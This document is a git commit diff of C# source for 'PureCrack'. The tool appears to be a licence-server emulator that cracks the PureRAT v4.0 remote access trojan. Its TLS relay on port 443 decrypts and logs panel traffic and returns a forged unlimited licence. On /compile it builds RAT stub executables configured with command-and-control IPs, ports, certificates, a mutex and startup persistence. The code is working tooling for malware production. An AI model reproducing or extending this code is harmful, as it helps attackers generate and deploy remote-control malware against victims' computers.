initial commit
This commit is contained in:
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using PureCrack.Util;
|
||||
using PureCrack.Wire;
|
||||
|
||||
namespace PureCrack.Relay;
|
||||
|
||||
public static class CaptureWriter
|
||||
{
|
||||
public static string Dump(string path, byte[] rawBody, byte[]? plaintext)
|
||||
{
|
||||
string text = DateTime.Now.ToString("yyyyMMdd_HHmmss");
|
||||
string text2 = SanitizePathForFilename(path);
|
||||
string text3 = Path.Combine(Workspace.CapturesDir, text + "_" + text2);
|
||||
File.WriteAllBytes(text3 + ".raw.bin", rawBody);
|
||||
if (plaintext != null)
|
||||
{
|
||||
File.WriteAllBytes(text3 + ".pt.bin", plaintext);
|
||||
File.WriteAllText(text3 + ".pt.txt", BuildPrettyDump(path, plaintext), Encoding.UTF8);
|
||||
}
|
||||
return text3;
|
||||
}
|
||||
|
||||
private static string BuildPrettyDump(string path, byte[] pt)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(pt.Length * 4);
|
||||
stringBuilder.Append("URL: ").Append(path).Append('\n');
|
||||
stringBuilder.Append("Decrypted ").Append(pt.Length).Append(" bytes\n\nHEX:\n");
|
||||
for (int i = 0; i < pt.Length; i += 32)
|
||||
{
|
||||
int num = Math.Min(32, pt.Length - i);
|
||||
stringBuilder.Append(i.ToString("x4")).Append(" ");
|
||||
for (int j = 0; j < num; j++)
|
||||
{
|
||||
stringBuilder.Append(pt[i + j].ToString("x2")).Append(' ');
|
||||
}
|
||||
for (int k = num; k < 32; k++)
|
||||
{
|
||||
stringBuilder.Append(" ");
|
||||
}
|
||||
stringBuilder.Append(" |");
|
||||
for (int l = 0; l < num; l++)
|
||||
{
|
||||
byte b = pt[i + l];
|
||||
stringBuilder.Append((char)((b >= 32 && b < 127) ? b : 46));
|
||||
}
|
||||
stringBuilder.Append("|\n");
|
||||
}
|
||||
stringBuilder.Append("\nPROTOBUF TREE:\n");
|
||||
try
|
||||
{
|
||||
stringBuilder.Append(ProtoNet.Dump(pt));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilder.Append("<parse err: ").Append(ex.Message).Append(">\n");
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private static string SanitizePathForFilename(string path)
|
||||
{
|
||||
string text = path.Replace('/', '_').Trim(new char[1] { '_' });
|
||||
char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
|
||||
foreach (char oldChar in invalidFileNameChars)
|
||||
{
|
||||
text = text.Replace(oldChar, '_');
|
||||
}
|
||||
if (text.Length == 0)
|
||||
{
|
||||
text = "root";
|
||||
}
|
||||
if (text.Length > 80)
|
||||
{
|
||||
text = text.Substring(0, 80);
|
||||
}
|
||||
return text;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using PureCrack.Build;
|
||||
using PureCrack.Util;
|
||||
using PureCrack.Wire;
|
||||
|
||||
namespace PureCrack.Relay;
|
||||
|
||||
public sealed class RouteHandlers
|
||||
{
|
||||
private sealed class BuildSettings
|
||||
{
|
||||
public List<string> Ips { get; init; } = new List<string>();
|
||||
|
||||
public List<int> Ports { get; init; } = new List<int>();
|
||||
|
||||
public string? CertBase64 { get; init; }
|
||||
|
||||
public string? Group { get; init; }
|
||||
|
||||
public string? PanelPfxBase64 { get; init; }
|
||||
|
||||
public string? StartupName { get; init; }
|
||||
|
||||
public string? StartupEnv { get; init; }
|
||||
|
||||
public string? Mutex { get; init; }
|
||||
}
|
||||
|
||||
private readonly byte[] _cannedCompile;
|
||||
|
||||
public byte[] ValidatePb { get; }
|
||||
|
||||
public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse)
|
||||
{
|
||||
ValidatePb = BuildValidateResponse(agentPfxBytes);
|
||||
_cannedCompile = cannedCompileResponse;
|
||||
}
|
||||
|
||||
private static byte[] BuildValidateResponse(byte[] agentPfxBytes)
|
||||
{
|
||||
string s = Convert.ToBase64String(agentPfxBytes);
|
||||
byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s));
|
||||
byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days"));
|
||||
return ProtoNet.FSub(2, body2);
|
||||
}
|
||||
|
||||
public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled)
|
||||
{
|
||||
if (plaintext != null && dynamicBuildEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = BuildDynamic(plaintext);
|
||||
if (array != null)
|
||||
{
|
||||
return array;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.Err("dyn-build failed: " + ex.Message);
|
||||
}
|
||||
Log.Warn("falling back to canned /compile response");
|
||||
}
|
||||
return _cannedCompile;
|
||||
}
|
||||
|
||||
private static byte[]? BuildDynamic(byte[] plaintext)
|
||||
{
|
||||
BuildSettings buildSettings = ExtractBuildSettings(plaintext);
|
||||
if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0)
|
||||
{
|
||||
Log.Warn("dyn-build: panel did not include IPs/Ports — using canned");
|
||||
return null;
|
||||
}
|
||||
string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64);
|
||||
BuildConfig buildConfig = new BuildConfig
|
||||
{
|
||||
Ips = buildSettings.Ips,
|
||||
Ports = buildSettings.Ports,
|
||||
CertPfxBase64 = (text ?? ""),
|
||||
Group = (buildSettings.Group ?? "Default"),
|
||||
Mutex = (buildSettings.Mutex ?? "purecrack-default"),
|
||||
StartupName = (buildSettings.StartupName ?? ""),
|
||||
StartupEnv = (buildSettings.StartupEnv ?? "")
|
||||
};
|
||||
Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex);
|
||||
byte[] array = StubBuilder.Build(buildConfig);
|
||||
string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss");
|
||||
string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe");
|
||||
File.WriteAllBytes(text2, array);
|
||||
Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}");
|
||||
byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L));
|
||||
return ProtoNet.FSub(4, body);
|
||||
}
|
||||
|
||||
private static BuildSettings ExtractBuildSettings(byte[] plaintext)
|
||||
{
|
||||
BuildSettings result = new BuildSettings();
|
||||
try
|
||||
{
|
||||
byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3);
|
||||
if (array == null)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5);
|
||||
if (array2 == null)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9);
|
||||
if (array3 == null)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
Dictionary<int, List<ProtoValue>> parsed = ProtoNet.Parse(array3);
|
||||
return new BuildSettings
|
||||
{
|
||||
Ips = ProtoNet.GetStrings(parsed, 1),
|
||||
Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)),
|
||||
CertBase64 = ProtoNet.FirstString(parsed, 3),
|
||||
Group = ProtoNet.FirstString(parsed, 4, "Default"),
|
||||
PanelPfxBase64 = ProtoNet.FirstString(parsed, 10),
|
||||
StartupName = ProtoNet.FirstString(parsed, 11),
|
||||
StartupEnv = ProtoNet.FirstString(parsed, 12),
|
||||
Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default")
|
||||
};
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.Warn("extract: parse err: " + ex.Message);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
private static List<int> ConvertToInts(List<long> longs)
|
||||
{
|
||||
List<int> list = new List<int>(longs.Count);
|
||||
foreach (long @long in longs)
|
||||
{
|
||||
list.Add((int)@long);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
public static byte[] AckResponse()
|
||||
{
|
||||
return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L));
|
||||
}
|
||||
|
||||
private static byte[] Concat(params byte[][] chunks)
|
||||
{
|
||||
int num = 0;
|
||||
byte[][] array = chunks;
|
||||
foreach (byte[] array2 in array)
|
||||
{
|
||||
num += array2.Length;
|
||||
}
|
||||
byte[] array3 = new byte[num];
|
||||
int num2 = 0;
|
||||
array = chunks;
|
||||
foreach (byte[] array4 in array)
|
||||
{
|
||||
Buffer.BlockCopy(array4, 0, array3, num2, array4.Length);
|
||||
num2 += array4.Length;
|
||||
}
|
||||
return array3;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,289 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using PureCrack.Crypto;
|
||||
using PureCrack.Util;
|
||||
|
||||
namespace PureCrack.Relay;
|
||||
|
||||
public sealed class TlsRelay : IDisposable
|
||||
{
|
||||
private readonly X509Certificate2 _serverCert;
|
||||
|
||||
private readonly RouteHandlers _routes;
|
||||
|
||||
private readonly TcpListener _listener;
|
||||
|
||||
private readonly CancellationTokenSource _cts;
|
||||
|
||||
private Thread? _acceptThread;
|
||||
|
||||
private int _requestCount;
|
||||
|
||||
public const int DefaultPort = 443;
|
||||
|
||||
private const int MaxBodyBytes = 16777216;
|
||||
|
||||
public bool DynamicBuildEnabled { get; set; } = true;
|
||||
|
||||
public TlsRelay(X509Certificate2 serverCert, RouteHandlers routes, IPAddress? bindAddress = null, int port = 443)
|
||||
{
|
||||
_serverCert = serverCert ?? throw new ArgumentNullException("serverCert");
|
||||
_routes = routes ?? throw new ArgumentNullException("routes");
|
||||
_listener = new TcpListener(bindAddress ?? IPAddress.Any, port);
|
||||
_cts = new CancellationTokenSource();
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
if (_acceptThread == null)
|
||||
{
|
||||
_listener.Start();
|
||||
Log.Ok($"relay LISTEN on {_listener.LocalEndpoint}");
|
||||
_acceptThread = new Thread(AcceptLoop)
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "TlsRelay-accept"
|
||||
};
|
||||
_acceptThread.Start();
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
if (!_cts.IsCancellationRequested)
|
||||
{
|
||||
_cts.Cancel();
|
||||
try
|
||||
{
|
||||
_listener.Stop();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_acceptThread?.Join(TimeSpan.FromSeconds(2.0));
|
||||
Log.Info("relay stopped");
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Stop();
|
||||
_cts.Dispose();
|
||||
_serverCert.Dispose();
|
||||
}
|
||||
|
||||
private void AcceptLoop()
|
||||
{
|
||||
while (!_cts.IsCancellationRequested)
|
||||
{
|
||||
TcpClient state;
|
||||
try
|
||||
{
|
||||
state = _listener.AcceptTcpClient();
|
||||
}
|
||||
catch (SocketException) when (_cts.IsCancellationRequested)
|
||||
{
|
||||
break;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
break;
|
||||
}
|
||||
catch (Exception ex3)
|
||||
{
|
||||
Log.Err("accept: " + ex3.Message);
|
||||
continue;
|
||||
}
|
||||
ThreadPool.QueueUserWorkItem(delegate(object obj)
|
||||
{
|
||||
HandleConnection((TcpClient)obj);
|
||||
}, state);
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleConnection(TcpClient client)
|
||||
{
|
||||
int num = Interlocked.Increment(ref _requestCount);
|
||||
string arg = client.Client.RemoteEndPoint?.ToString() ?? "?";
|
||||
Log.Section($"#{num} from {arg}");
|
||||
try
|
||||
{
|
||||
client.ReceiveTimeout = 15000;
|
||||
client.SendTimeout = 15000;
|
||||
using SslStream sslStream = new SslStream(client.GetStream(), leaveInnerStreamOpen: false);
|
||||
try
|
||||
{
|
||||
sslStream.AuthenticateAsServer(_serverCert, clientCertificateRequired: false, SslProtocols.Tls12, checkCertificateRevocation: false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.Warn("TLS handshake failed: " + ex.Message);
|
||||
return;
|
||||
}
|
||||
var (text, array) = ReadHttpRequest(sslStream);
|
||||
Log.Bullet("path: " + text);
|
||||
Log.Bullet($"body: {array.Length}b");
|
||||
byte[] array2 = TryDecrypt(array);
|
||||
if (array2 != null)
|
||||
{
|
||||
Log.Bullet($"decrypt OK: {array2.Length}b");
|
||||
}
|
||||
string path = CaptureWriter.Dump(text, array, array2);
|
||||
Log.Bullet("dumped: " + Path.GetFileName(path));
|
||||
var (array3, text2) = Route(text, array2);
|
||||
Log.Bullet($"resp: {text2} ({array3.Length}b)");
|
||||
SendResponse(sslStream, array3);
|
||||
Log.Ok("sent " + text2);
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Log.Err("handler: " + ex2.Message);
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
client.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static (string path, byte[] body) ReadHttpRequest(Stream s)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
byte[] array = new byte[4096];
|
||||
int num;
|
||||
for (num = -1; num < 0; num = FindHeaderEnd(memoryStream.GetBuffer(), (int)memoryStream.Length))
|
||||
{
|
||||
int num2 = s.Read(array, 0, array.Length);
|
||||
if (num2 <= 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
memoryStream.Write(array, 0, num2);
|
||||
if (memoryStream.Length > 65536)
|
||||
{
|
||||
throw new InvalidOperationException("HTTP headers exceed 64 KB");
|
||||
}
|
||||
}
|
||||
if (num < 0)
|
||||
{
|
||||
throw new InvalidOperationException("HTTP request truncated before \\r\\n\\r\\n");
|
||||
}
|
||||
byte[] array2 = new byte[num];
|
||||
Buffer.BlockCopy(memoryStream.GetBuffer(), 0, array2, 0, num);
|
||||
string text = Encoding.UTF8.GetString(array2);
|
||||
int result = 0;
|
||||
string item = "/";
|
||||
string[] array3 = text.Split(new string[1] { "\r\n" }, StringSplitOptions.None);
|
||||
foreach (string text2 in array3)
|
||||
{
|
||||
if (text2.StartsWith("POST ", StringComparison.Ordinal) || text2.StartsWith("GET ", StringComparison.Ordinal))
|
||||
{
|
||||
string[] array4 = text2.Split(new char[1] { ' ' });
|
||||
if (array4.Length >= 2)
|
||||
{
|
||||
item = array4[1];
|
||||
}
|
||||
}
|
||||
else if (text2.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
int.TryParse(text2.Substring("Content-Length:".Length).Trim(), out result);
|
||||
}
|
||||
}
|
||||
if (result < 0 || result > 16777216)
|
||||
{
|
||||
throw new InvalidOperationException($"refusing body of size {result}");
|
||||
}
|
||||
int num3 = num + 4;
|
||||
int num4 = (int)memoryStream.Length - num3;
|
||||
byte[] array5 = new byte[result];
|
||||
if (num4 > 0)
|
||||
{
|
||||
int num5 = Math.Min(num4, result);
|
||||
Buffer.BlockCopy(memoryStream.GetBuffer(), num3, array5, 0, num5);
|
||||
num4 = num5;
|
||||
}
|
||||
int j;
|
||||
int num6;
|
||||
for (j = Math.Max(0, num4); j < result; j += num6)
|
||||
{
|
||||
num6 = s.Read(array5, j, result - j);
|
||||
if (num6 <= 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j < result)
|
||||
{
|
||||
Log.Warn($"body truncated: got {j} of {result}");
|
||||
}
|
||||
return (path: item, body: array5);
|
||||
}
|
||||
|
||||
private static int FindHeaderEnd(byte[] buf, int len)
|
||||
{
|
||||
for (int i = 0; i <= len - 4; i++)
|
||||
{
|
||||
if (buf[i] == 13 && buf[i + 1] == 10 && buf[i + 2] == 13 && buf[i + 3] == 10)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private static byte[]? TryDecrypt(byte[] body)
|
||||
{
|
||||
if (body.Length < 32)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
return Symmetric.AesDecryptFraming(body);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.Warn("decrypt err: " + ex.Message);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private (byte[] body, string label) Route(string path, byte[]? plaintext)
|
||||
{
|
||||
if (path.IndexOf("/validate", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return (body: _routes.ValidatePb, label: "validate");
|
||||
}
|
||||
if (path.IndexOf("/compile", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return (body: _routes.Compile(plaintext, DynamicBuildEnabled), label: (plaintext != null && DynamicBuildEnabled) ? "compile-dynamic" : "compile-canned");
|
||||
}
|
||||
if (path.IndexOf("/heartbeat", StringComparison.OrdinalIgnoreCase) >= 0 || path.IndexOf("/update-plugins", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return (body: RouteHandlers.AckResponse(), label: "ack");
|
||||
}
|
||||
return (body: _routes.ValidatePb, label: "fallback-validate");
|
||||
}
|
||||
|
||||
private static void SendResponse(Stream s, byte[] responsePb)
|
||||
{
|
||||
byte[] array = Symmetric.AesEncryptFraming(responsePb);
|
||||
string s2 = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n" + $"Content-Length: {array.Length}\r\n" + "Connection: close\r\n\r\n";
|
||||
byte[] bytes = Encoding.ASCII.GetBytes(s2);
|
||||
s.Write(bytes, 0, bytes.Length);
|
||||
s.Write(array, 0, array.Length);
|
||||
s.Flush();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user